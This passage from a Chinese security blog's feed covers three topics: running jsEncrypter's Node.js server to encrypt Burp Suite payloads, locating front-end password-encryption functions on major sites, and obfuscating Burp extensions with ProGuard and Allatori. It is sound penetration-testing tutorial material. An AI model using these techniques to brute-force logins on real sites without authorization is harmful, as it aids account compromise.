http.createServer(<span class="function"><span class="keyword">function</span>(<span class="params">request,response</span>)</span>{</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(request.method === <span class="string">'POST'</span>){</span><br><span class="line"><span class="keyword">var</span> postData = <span class="string">''</span>;</span><br><span class="line">request.on(<span class="string">'data'</span>,<span class="function"><span class="keyword">function</span>(<span class="params">params</span>)</span>{</span><br><span class="line">postData += params;</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">request.on(<span class="string">'end'</span>,<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"><span class="keyword">var</span> dataString = postData.toString();</span><br><span class="line"><span class="keyword">var</span> dataObj = querystring.parse(dataString);</span><br><span class="line"><span class="keyword">var</span> payload = dataObj.payload;</span><br><span class="line"><span class="keyword">var</span> encrypt_payload = js_encrypt(payload); </span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">'[+] '</span> + payload + <span class="string">':'</span> + encrypt_payload);</span><br><span class="line"></span><br><span class="line">response.statusCode = <span class="number">200</span>;</span><br><span class="line">response.write(encrypt_payload);</span><br><span class="line">response.end();</span><br><span class="line">});</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">response.statusCode = <span class="number">200</span>;</span><br><span class="line">response.write(<span class="string">"^_^\n\rhello jsEncrypter!"</span>);</span><br><span class="line">response.end();</span><br><span class="line">}</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">server.listen(port, host, <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">"[!] ^_^"</span>);</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">"[*] nodejs server start!"</span>);</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">"[+] address: http://"</span>+host+<span class="string">":"</span>+port);</span><br><span class="line">});</span><br></pre></td></tr></table></figure><h2 id="nodejs版server脚本使用"><a href="#nodejs版server脚本使用" class="headerlink" title="nodejs版server脚本使用"></a>nodejs版server脚本使用</h2><p>nodejs版本的server脚本和phantomjs版本基本一样,不过nodejs版本的使用需要多一个步骤。下面我们搭建起jsEncrypter项目自带的实验环境,并通过演示md5加密传输来说明脚本如何使用。</p><h4 id="1-修改调用需要调用的加密脚本"><a href="#1-修改调用需要调用的加密脚本" class="headerlink" title="1.修改调用需要调用的加密脚本"></a>1.修改调用需要调用的加密脚本</h4><p>在加密脚本的末尾加入两行代码。代码格式如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">global.function = <span class="function"><span class="keyword">function</span> //将需要调用的函数或对象编程全局</span></span><br><span class="line"><span class="function"><span class="title">exports</span>.<span class="title">function</span> = <span class="title">function</span> //使用<span class="title">export</span>来暴露接口,不然<span class="title">nodejs</span>无法找到我们的加密方法</span></span><br></pre></td></tr></table></figure><p>我们查看例子中的页面源码,可知前端引入<code>md5.js</code>实现对数据的加密,所以我们把md5.js保存到本地。然后再看看前端调用加密函数的代码是什么?</p><p><img src="/articles/2018/jsEncrypter-nodejs-server-script/md5_invoke.png" alt="图1-寻找加密脚本文件"></p><p>所以我们在<code>md5.js</code>结尾加入这两行代码。</p><p><img src="/articles/2018/jsEncrypter-nodejs-server-script/md5_add_code.png" alt="图2-添加代码到加密脚本文件末尾"></p><h4 id="2-编写调用脚本"><a href="#2-编写调用脚本" class="headerlink" title="2.编写调用脚本"></a>2.编写调用脚本</h4><p>在nodejs_server.js中引入加密脚本,并在js_encrypt方法中编写调用加密函数进行加密。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">......</span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line"><span class="built_in">require</span>(<span class="string">'./md5.js'</span>); <span class="comment">/*引入实现加密的js文件*/</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 处理函数</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">js_encrypt</span>(<span class="params">payload</span>)</span>{</span><br><span class="line"><span class="keyword">var</span> newpayload;</span><br><span class="line"><span class="comment">/**********在这里编写调用加密函数进行加密的代码************/</span></span><br><span class="line">newpayload = hex_md5(payload);</span><br><span class="line"><span class="comment">/**********************************************************/</span></span><br><span class="line"><span class="keyword">return</span> newpayload;</span><br><span class="line">}</span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line">......</span><br></pre></td></tr></table></figure><h4 id="3-执行脚本"><a href="#3-执行脚本" class="headerlink" title="3.执行脚本"></a>3.执行脚本</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">node nodejs_server.js</span><br></pre></td></tr></table></figure><p><img src="/articles/2018/jsEncrypter-nodejs-server-script/encrypt_result.png" alt="图3-加密效果"></p><p><strong>最后补充一点,测试环境中<code>sha384</code>加密例子有点特殊。</strong>sha384前端调用加密函数的代码为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">en_password = CryptoJS.SHA384(password);</span><br></pre></td></tr></table></figure><p>所以在<code>sha384.js</code>结尾应加入这两行代码</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">global.CryptoJS = CryptoJS;</span><br><span class="line">exports.CryptoJS = CryptoJS;</span><br></pre></td></tr></table></figure><p>而不是</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">global.CryptoJS = SHA384;</span><br><span class="line">exports.CryptoJS = SHA384;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>nodejs版本的server在使用过程需要修改原加密脚本,比phantomjs版本号稍微繁琐一点。大家看自己的习惯吧,萝卜青菜各有所爱!</p>]]></content>
<categories>
<category> 编程开发 </category>
</categories>
<tags>
<tag> Burp Suite </tag>
</tags>
</entry>
<entry>
<title>快速定位前端加密方法</title>
<link href="/articles/2018/fast-locate-the-front-end-encryption-method/"/>
<url>/articles/2018/fast-locate-the-front-end-encryption-method/</url>
<content type="html"><![CDATA[<p>相信用过我<a href="https://github.com/c0ny1/jsEncrypter" target="_blank" rel="noopener">jsEncrypter</a>这个插件的朋友,都会碰到一个问题。 <strong>那就是一些大型网站前端太复杂,以至于无法定位到前端数据加密函数所在的位置</strong>。无法定位到加密方法所在,自然就无法编写jsEncrypter的phantomJS脚本了。k哥在今晚给了我很多灵感,让我对这个问题有一个完美的解决方案。以至于现在已是12号的凌晨3点,我仍不舍得搁浅内心零散的想法。窗外稍许的车辆略过的轰鸣,在夜深人静时显得格外刺耳。不过还好,没破坏我静静码字感觉。下面让我慢慢将这简单弱智有点零散,但细细思考,却有点意思的想法,串成一个流程。</p><h2 id="0x01-onClick定位法"><a href="#0x01-onClick定位法" class="headerlink" title="0x01 onClick定位法"></a>0x01 onClick定位法</h2><p>有时候在触发提交表单的标签中会存在一个onClik属性,该属性的值正好是一个js函数。而这个函数往往就是我们要找的数据加密函数。我们只需要找到它定义的地方即可。</p><p><img src="/articles/2018/fast-locate-the-front-end-encryption-method/LocationByonClick.png" alt="图1-通过onClick属性定位"></p><p>找到了加密数据的方法名之后,我们就可以去找一下该方法在那个js文件中定义,即可定位到位置。</p><p><img src="/articles/2018/fast-locate-the-front-end-encryption-method/FindFunctionFromOnClick.png" alt="图2-通过onClick定位到的方法"></p><h2 id="0x02-Event-Listeners定位法"><a href="#0x02-Event-Listeners定位法" class="headerlink" title="0x02 Event Listeners定位法"></a>0x02 Event Listeners定位法</h2><p>这个方法非常好,也是我觉得最好的方法。F12打开开发者工具,然后使用选择箭头选择目标标签,最后打开开发者工具Event Listeners面板。就能显示该标签对应的额事件了。我们关注的当然是click事件了。</p><p><img src="/articles/2018/fast-locate-the-front-end-encryption-method/LocationByEventListeners.png" alt="图3-通过Event Listeners定位"></p><p>由此我们就知道,我们的数据加密方法在<code>uni_loginv4_tangram_dde753f.js</code>文件的32行。点击该链接就能直接调转到代码处。</p><p><img src="/articles/2018/fast-locate-the-front-end-encryption-method/FindFunctionFromEventListeners.png" alt="图4-通过Event Listeners定位的代码"></p><p>这个方法虽然非常好,但是有一个天坑需要注意!有时候标签是有绑定方法的,但看到Event Listeners面板却是空的。我猜是因为浏览器它没有加载完全所有的数据,导致无法分析出各个元素绑定的方法。这时我们可以进行将登录整个流程走一遍,多次刷新页面,甚至可以ctrl+s将网页保存到本地等操作,总之只为一个目的: <strong>间接告诉浏览器赶紧将一些网页资源保存下来,以供Event Listeners分析出click事件对应的方法</strong>。目前发现这样勉强能解决。</p><p>这里插一句题外话:有一个和Event Listeners有关的辅助插件Visual Event,大家可以去体验一下。不过个人觉得不是特别好!</p><h2 id="0x03-搜索定位法"><a href="#0x03-搜索定位法" class="headerlink" title="0x03 搜索定位法"></a>0x03 搜索定位法</h2><p>如果遇到的情况很糟糕,页面没有指定onClick方法,Event Listeners怎么操作都是空白一片,Visual Event也是半死不活的时候。这是我们就只能自己动手,丰衣足食了。当然我承认这种情况基本不可能发生。然而谁还没有个万一呢?</p><p>先将页面ctrl+s,保存起来。然后使用notepad++搜索保存目录下所有内容。这时我们就要考虑寻找搜索关键字了。搜索操作过程虽然有点繁琐,但很简单。这里我挑比较有意思的选择搜索关键字的思考跟大家分享一下。</p><ol><li><p>从源头搜,什么是我们的源头搜呢?我们触发前端数据加密,然后进行传输的整个过程皆因为点击了一个标签造成。所以我们就可以通过这个标签的<code>id名</code>,<code>class名</code>或者<code>标签名</code>作为关键字去搜索,就能定位到开始进行加密处理的位置。最后根据起始位置,一步一步跟进就能找到我们的加密方法。</p></li><li><p>从终点搜,什么是我们的终点呢?当然是我们的最终发送数据包这一步了。我们可以用burp进行抓包,然后分析数据包的特点,提取关键字来定位。比如我们可以拿数据包提交的路径,可以拿数据包的参数等等作为关键字。定位到加密流程的最后一步,最后一步一步回溯找到加密方法。</p></li></ol><p>例如:我打算从源头开始搜,查看到源码中淘宝的登录按钮标签id值为<code>J_SubmitStatic</code>,于是我以<code>#J_SubmitStatic</code>作为关键字开始定位。</p><p><img src="/articles/2018/fast-locate-the-front-end-encryption-method/LocationByKeyword.png" alt="图5-通过关键定位"></p><h2 id="0x04-调试确认"><a href="#0x04-调试确认" class="headerlink" title="0x04 调试确认"></a>0x04 调试确认</h2><p>在使用了以上三个方法加辅助插件,基本可以保证能定位到99%网站前端密码的处理函数了。但我们仍然需要通过调式来确定我们定位到的地方就是数据加密方法。首选我们在定位的方法中打一个断点,然后在表单输入账号密码,最后点击提交。就可以进入调试模式了。进入调式模式,我们可以单步执行,梳理加密处理的每一步。方便我们更好的编写jsEncrypter插件的phantomJs脚本。</p><p><img src="/articles/2018/fast-locate-the-front-end-encryption-method/debug.png" alt="图6-调试确认"></p><h2 id="0x05-最后的话"><a href="#0x05-最后的话" class="headerlink" title="0x05 最后的话"></a>0x05 最后的话</h2><p>我使用了以上流程,先后定位到了百度,淘宝,腾讯和京东的前端页面数据加密方法。证明了我们的流程大体还是很实用的。各位同学可以按照上面的方法去测试一下,看看自己能否快速定位到数据加密方法?当然你有更加快速的方法,欢迎留言,让我们的这个快速定位前端加密方法的流程更加完美!已是凌晨4点,明天还有工作。祝每个还在深夜码字写代码的灵魂晚安!</p>]]></content>
<categories>
<category> 安全开发 </category>
</categories>
<tags>
<tag> burp </tag>
</tags>
</entry>
<entry>
<title>混淆Burp插件代码</title>
<link href="/articles/2018/obfuscation-of-burp-extension-code/"/>
<url>/articles/2018/obfuscation-of-burp-extension-code/</url>
<content type="html"><![CDATA[<p>说要混淆Burp插件,可能有些小伙伴会说:</p><p><strong>A:</strong>混淆干嘛,大家都这么忙,谁有时间看你的烂代码!</p><p><strong>B:</strong>现在都鼓励开源,你这么做有悖于开源精神。</p><p>……</p><p><strong>me:</strong>这和开源精神没有冲突,我的理解里,真正的开源精神应该是从内心出发的,而不是受“开源人士”的舆论压力,这是道德绑架。更不能因为大家开源,所以我也开源,为了开源而开源没有意义。况且本文仅仅研究混淆这门技术的原理和魅力!</p><p><strong>C:</strong>把不开源说得这么清新脱俗,NB!</p><p><strong>me:</strong>被你发现了,哈哈</p><h2 id="0x01-Burp插件混淆规则"><a href="#0x01-Burp插件混淆规则" class="headerlink" title="0x01 Burp插件混淆规则"></a>0x01 Burp插件混淆规则</h2><p>混淆不能一键化,java程序中有apk,有桌面引用程序,有web程序,有jar库。需要根据各自代码的特点来制定混淆规则。burp的插件,第一它不算应用,因为它没有main函数,第二它被burp调用,但又不算是库。倒是很像是介于两者之间,所以相对来说比较特殊。自然混淆时有些特殊……</p><ul><li>首选不能混淆掉burp这个包名,因为burp默认会读burp包下的BurpExtender。如果BurpExtender在其他包下,它会报错说找不到该入口类。</li><li>不能混淆掉burp包下的BurpExtender这个类,因为这是burp调用插件的入口。</li><li>不能混淆Burp包下引入的接口,因为接口是共同遵守的规范。</li></ul><h5 id="代码混淆工具"><a href="#代码混淆工具" class="headerlink" title="代码混淆工具"></a>代码混淆工具</h5><ul><li>ProGuard</li><li>allatori</li></ul><h2 id="0x02-使用ProGuard混淆"><a href="#0x02-使用ProGuard混淆" class="headerlink" title="0x02 使用ProGuard混淆"></a>0x02 使用ProGuard混淆</h2><p>混淆的本质就使程序的可读性变差,而通常程序的包名类名方法名和属性名都是遵守见名知意。所以我们反其道而行,先来生成令人眼傻傻分不清的混淆字典吧(坏笑脸)。ProGurd会根据我们的混淆字典,替换掉程序中令人易懂的名称!</p><table><thead><tr><th align="center">混淆对象</th><th align="center">元素</th><th align="center">例子</th></tr></thead><tbody><tr><td align="center">包名</td><td align="center">o,0</td><td align="center">00000o0oo0</td></tr><tr><td align="center">类名</td><td align="center">l,i</td><td align="center">ililiillii</td></tr><tr><td align="center">方法名和属性名</td><td align="center">l,1</td><td align="center">1l11111lll</td></tr></tbody></table><p>编写了一个py脚本来快速生成字典(obf_dic_creater.py)</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding=utf-8</span></span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"></span><br><span class="line"><span class="comment">#author:c0ny1</span></span><br><span class="line"></span><br><span class="line">package_str = <span class="string">"o0"</span></span><br><span class="line">class_str = <span class="string">"li"</span></span><br><span class="line">field_method_str = <span class="string">"l1"</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">create_obf_str</span><span class="params">(str,length)</span>:</span></span><br><span class="line">obf_str = <span class="string">""</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(length):</span><br><span class="line">j = random.randrange(<span class="number">0</span>,len(str)) </span><br><span class="line">obf_str+=str[j]</span><br><span class="line"><span class="keyword">print</span> obf_str</span><br><span class="line"><span class="keyword">return</span> obf_str</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">create_obf_dic</span><span class="params">(str,filename,length,num)</span>:</span></span><br><span class="line">f = open(filename,<span class="string">"a"</span>)</span><br><span class="line"><span class="keyword">for</span> n <span class="keyword">in</span> range(num):</span><br><span class="line">obf_str = create_obf_str(str,length)</span><br><span class="line">f.write(obf_str)</span><br><span class="line">f.write(<span class="string">'\n'</span>)</span><br><span class="line">f.close()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">create_obf_dic(package_str,<span class="string">"package_dic.txt"</span>,<span class="number">10</span>,<span class="number">500</span>)</span><br><span class="line">create_obf_dic(class_str,<span class="string">"class_dic.txt"</span>,<span class="number">10</span>,<span class="number">500</span>)</span><br><span class="line">create_obf_dic(field_method_str,<span class="string">"field_method_dic.txt"</span>,<span class="number">10</span>,<span class="number">500</span>)</span><br></pre></td></tr></table></figure><p><img src="/articles/2018/obfuscation-of-burp-extension-code/obf_dic.png" alt="生成字典"></p><p>我们使用ProGuard的配置文件语法来描述burp插件混淆规则部分分析好的规则,内容如下</p><p>XXEHelper.pro</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">-injars Test.jar #要混淆的插件</span><br><span class="line">-outjars Obf.jar #混淆成功后导出的文件</span><br><span class="line"></span><br><span class="line">#添加依赖的jar</span><br><span class="line">-libraryjars <java.home>/lib/rt.jar </span><br><span class="line"></span><br><span class="line">-dontshrink #不压缩</span><br><span class="line">-dontoptimize #不优化</span><br><span class="line">-obfuscationdictionary package_dic.txt #方法和属性名混淆字典</span><br><span class="line">-classobfuscationdictionary class_dic.txt #类名混淆字典</span><br><span class="line">-packageobfuscationdictionary package_dic.txt #包名混淆字典</span><br><span class="line">-overloadaggressively #深度重载混淆</span><br><span class="line">-useuniqueclassmembernames #使用大小写混合类名</span><br><span class="line">-keeppackagenames burp # 不混淆burp这个包名</span><br><span class="line">-flattenpackagehierarchy me.gv7 #将混淆的包放在me.gv7这个父包</span><br><span class="line"></span><br><span class="line">-keep,allowshrinking class burp.* { #不混淆burp.*下的class</span><br><span class="line"> public <fields>; #不混淆public属性</span><br><span class="line"> public <methods>; #不混淆public方法</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>注意:在编写混淆配置文件时,需要用<code>-libraryjars</code>引入我们的插件依赖的jar。jar引入不全的话会导致ProGuard混淆失败。如果混淆失败,ProGuard会提示我们所缺少的类,我们可以根据该类名去以下网址搜索到对应jar,下载并引入后重新混淆即可。这个过程会很枯燥,要有耐心哦!该例子插件没有依赖外部jar,故只引入rt.jar即可。</p><ul><li><a href="http://mvnrepository.com" target="_blank" rel="noopener">http://mvnrepository.com</a></li><li><a href="http://www.findjar.com" target="_blank" rel="noopener">http://www.findjar.com</a></li></ul><p>大家可以以我这个配置文件为模板,根据具体情况来修改相关路径,和参数值,来混淆自己的burp插件!</p><p>最后我们运行<code>ProGuargui</code>><code>ProGuard</code>><code>Load configuration...</code>>选择<code>XXEHelper.pro</code>><code>Process</code>><code>Process!</code></p><p><img src="/articles/2018/obfuscation-of-burp-extension-code/ProGuard_obf_success.png" alt="ProGuargui混淆成功"></p><p><img src="/articles/2018/obfuscation-of-burp-extension-code/ProGuard_before_obf.png" alt="ProGuard混淆前"></p><p><img src="/articles/2018/obfuscation-of-burp-extension-code/ProGuard_after_obf.png" alt="ProGuard混淆后"></p><p>经过测试混淆后插件可以正常运行。</p><h2 id="0x03-使用allatori混淆"><a href="#0x03-使用allatori混淆" class="headerlink" title="0x03 使用allatori混淆"></a>0x03 使用allatori混淆</h2><p>不过ProGuard的混淆效果个人感觉不是特别好,公司大神推荐allatori这款商业混淆器。</p><p><img src="/articles/2018/obfuscation-of-burp-extension-code/alltori_folders.png" alt="allaroi目录结构"></p><p>由于官方程序的目录结构比较深,为了方便研究复制核心文件,简洁目录格式为如下:</p><p><img src="/articles/2018/obfuscation-of-burp-extension-code/after_obfuscated_folders.png" alt="allaroi目录结构"></p><p>根据以上我们burp混淆的规则,重新编写<code>config.xml</code>为:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">config</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">jar</span> <span class="attr">in</span>=<span class="string">"xxe-helper 0.1.jar"</span> <span class="attr">out</span>=<span class="string">"xxe-helper-obf.jar"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">input</span>></span></span><br><span class="line"></span><br><span class="line"><span class="tag"><<span class="name">classpath</span> <span class="attr">basedir</span>=<span class="string">"library-jars"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">jar</span> <span class="attr">name</span>=<span class="string">"*.jar"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">classpath</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">keep-names</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">class</span> <span class="attr">template</span>=<span class="string">"class burp.*"</span>></span></span><br><span class="line"><span class="tag"><<span class="name">field</span> <span class="attr">template</span>=<span class="string">"public *"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">method</span> <span class="attr">template</span>=<span class="string">"public *(*)"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">class</span>></span></span><br><span class="line"><span class="tag"><<span class="name">class</span> <span class="attr">template</span>=<span class="string">"interface burp.*"</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">class</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">keep-names</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"log-file"</span> <span class="attr">value</span>=<span class="string">"log.xml"</span>/></span></span><br><span class="line"><span class="tag"></<span class="name">config</span>></span></span><br></pre></td></tr></table></figure><p>修改<code>RunAllatori.bat</code>代码为:</p><figure class="highlight bat"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">java -Xms128m -Xmx512m -jar allatori\allatori.jar config.xml</span><br><span class="line"><span class="built_in">pause</span></span><br></pre></td></tr></table></figure><p>修改<code>Clean.bat</code>代码为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">del log.xml</span><br><span class="line">del *obf.jar</span><br><span class="line">pause</span><br></pre></td></tr></table></figure><p>最后运行<code>RunAllitori.bat</code></p><p><img src="/articles/2018/obfuscation-of-burp-extension-code/RunAllatori.png" alt="运行RunAllitori.bat"></p><p>大家可以发现红框标出的是混淆器提示我们有些类没有找到,这些类时插件包含的jar所依赖的jar,大家可以根据提示的缺的包名,用上面说过的搜jar方法,把它们下载并引入进来。不过我们不引入它们也是可以混淆的,但混淆的强度会弱一些。</p><p>不懂编写<code>config.xml</code>的小伙伴,可以去阅读一下<a href="http://www.allatori.com/doc.html" target="_blank" rel="noopener">官方文档</a>。</p><p>下面我们对比一下混淆前后的效果!</p><p><img src="/articles/2018/obfuscation-of-burp-extension-code/before_obfuscated_code.png" alt="插件混淆前代码反编译"></p><p><img src="/articles/2018/obfuscation-of-burp-extension-code/after_obfuscated_code.png" alt="插件混淆后代码反编译"></p><p>经过测试插件混淆后,可以运行。</p><h2 id="0x04-总结"><a href="#0x04-总结" class="headerlink" title="0x04 总结"></a>0x04 总结</h2><p>混淆和编码有大关系,比如设计包名时,应该将我们插件的核心代码单独放一个包里,不要一股脑都放在burp。这样的话最后不好写混淆规则。对于方法和属性得访问属性(public,protected,private),要深思熟虑。这样不但程序更规范,写混淆规则也会简单些。</p><p>如果插件引用的jar比较多,使用ProGuard来混淆是比较麻烦的。因为依赖的外部jar也会依赖其他jar,你需要将它们都引入才行!我自己目前也没有好的解决方法。例子中的插件没有引用外部jar,所以混淆容易一些。allori不存在这个问题,只引入依赖jar就行。</p><p>最后大家可以在我研究的基础上去,看看如何设置使得混淆效果更加好。如有新发现,欢迎留言交流。</p><h2 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h2><p><a href="https://www.cnblogs.com/cr330326/p/5534915.html" target="_blank" rel="noopener">ProGuard代码混淆技术详解</a></p><p><a href="https://www.jianshu.com/p/b471db6a01af" target="_blank" rel="noopener">ProGuard 最全混淆规则说明</a></p><p><a href="http://blog.csdn.net/huningjun/article/details/52609788" target="_blank" rel="noopener">ProGuard工具 jar包混淆问题总结</a></p><p><a href="http://www.coin163.com/it/x5604474166355522533/java-allatori" target="_blank" rel="noopener">allatori混淆技术总结</a></p><p><a href="http://www.allatori.com/doc.html" target="_blank" rel="noopener">Allatori Java Obfuscator - Documentation</a></p>]]></content>
<tags>
<tag> burp suite </tag>
</tags>
</entry>
<entry>
<title>填坑:PentestBox之工具名称搜索</title>
<link href="/articles/2018/pentestbox-search-tools/"/>
<url>/articles/2018/pentestbox-search-tools/</url>
<content type="html"><![CDATA[<p>PentestBox是我在Windows上很喜欢的一款移动渗透工具,我一直把它当做我的移动kali。所以我将很多自己常用的Python脚本和其他常用软件引入到PentestBox中。这导致现在PentestBox下工具很多,根本无法记得它们的名称。所以在使用的时候,还得去PentestBox目录查看它们的名称,这很浪费时间!这个问题我也是想了很多方法,也去了各个论坛提问。</p><h2 id="方法一:list"><a href="#方法一:list" class="headerlink" title="方法一:list"></a>方法一:list</h2><p>list命令是PentestBox自带的命令,它可以列取某个模块下所有的工具。缺点是无法列取我们自定义引入的工具。不过Cra5h大佬在这个命令的基础上,修复了这个缺陷。大家可以去看一下他的文章,不失为一种解决思路。修复之后list可以列区我们引入的工具名称。</p><p>但list还是有硬伤,它是通列取模块下所有工具来找到目标工具名称。所以你得知道工具在那个模块下,同时该模块下如果工具很多,你还得从多工具名称中找到目标工具。</p><h2 id="方法二:开启自动补全"><a href="#方法二:开启自动补全" class="headerlink" title="方法二:开启自动补全"></a>方法二:开启自动补全</h2><p>使用kali的小伙伴对此应该深有体会:很多安全工具记不住它的名称,但通过TAB键能轻松补全。</p><p>PentestBox使用clink来实现自动补全,默认不启用,所以我们需要去setting中启用它。</p><p><img src="/articles/2018/pentestbox-search-tools/setting.png" alt="图1-启动clink"></p><p>可能有的童鞋启用时会报以下错误</p><p><img src="/articles/2018/pentestbox-search-tools/error.png" alt="图2-报错"></p><p>只要根据提示去<code>http://mridgers.github.io/clink/</code>下载<code>clink</code>,然后解压到<br><code>D:\PentestBox\vendor\conemu-maximus5\ConEmu\clink</code>路径下,再次启动就不会报错了。</p><p>开启之后,我们就可以</p><ul><li>输入burp,一个TAB就自动补全为burpsuite</li><li>输入wire,一个TAB就自动补全为wireshark</li><li>……</li></ul><p>当然自动补全还是有一点硬伤,那就是如果你输入前几个字母是错误的,那么自动补全是无法补全出你想要的工具名称。所以我们继续填坑吧!</p><h2 id="方法三:py大法"><a href="#方法三:py大法" class="headerlink" title="方法三:py大法"></a>方法三:py大法</h2><p>一直觉得搜索才能彻底解决这个问题。我认真观察了一下文件<code>D:\PentestBox\config\aliases</code>里保存有PentestBox自带工具名称,文件<code>D:\PentestBox\bin\customtools\customaliases</code>里保存有我们自定义引入的工具名称。所以可以写一个py脚本从这两个文件的内容中搜索出目标工具名称。</p><p>我自己写了一个小工具,可以把它引入到PentestBox中来实现PentestBox的搜索功能。代码虽然不是很多,但还是占点行数,所以我上传到了github。有兴趣的小伙伴可以下载玩玩。</p><h4 id="github地址:https-github-com-c0ny1-pentestbox-search-tools"><a href="#github地址:https-github-com-c0ny1-pentestbox-search-tools" class="headerlink" title="github地址:https://github.com/c0ny1/pentestbox-search-tools"></a>github地址:<a href="https://github.com/c0ny1/pentestbox-search-tools" target="_blank" rel="noopener">https://github.com/c0ny1/pentestbox-search-tools</a></h4><p>工具实现了:</p><ul><li>全词搜索</li><li>模糊搜索</li><li>通配符搜索</li><li>是否区分大小写</li></ul><p><img src="/articles/2018/pentestbox-search-tools/pentestbox-search-tools.gif" alt="图3-pentestbox-search-tools演示"></p><h2 id="方法四:通过编写lua脚本扩展clink实现搜索"><a href="#方法四:通过编写lua脚本扩展clink实现搜索" class="headerlink" 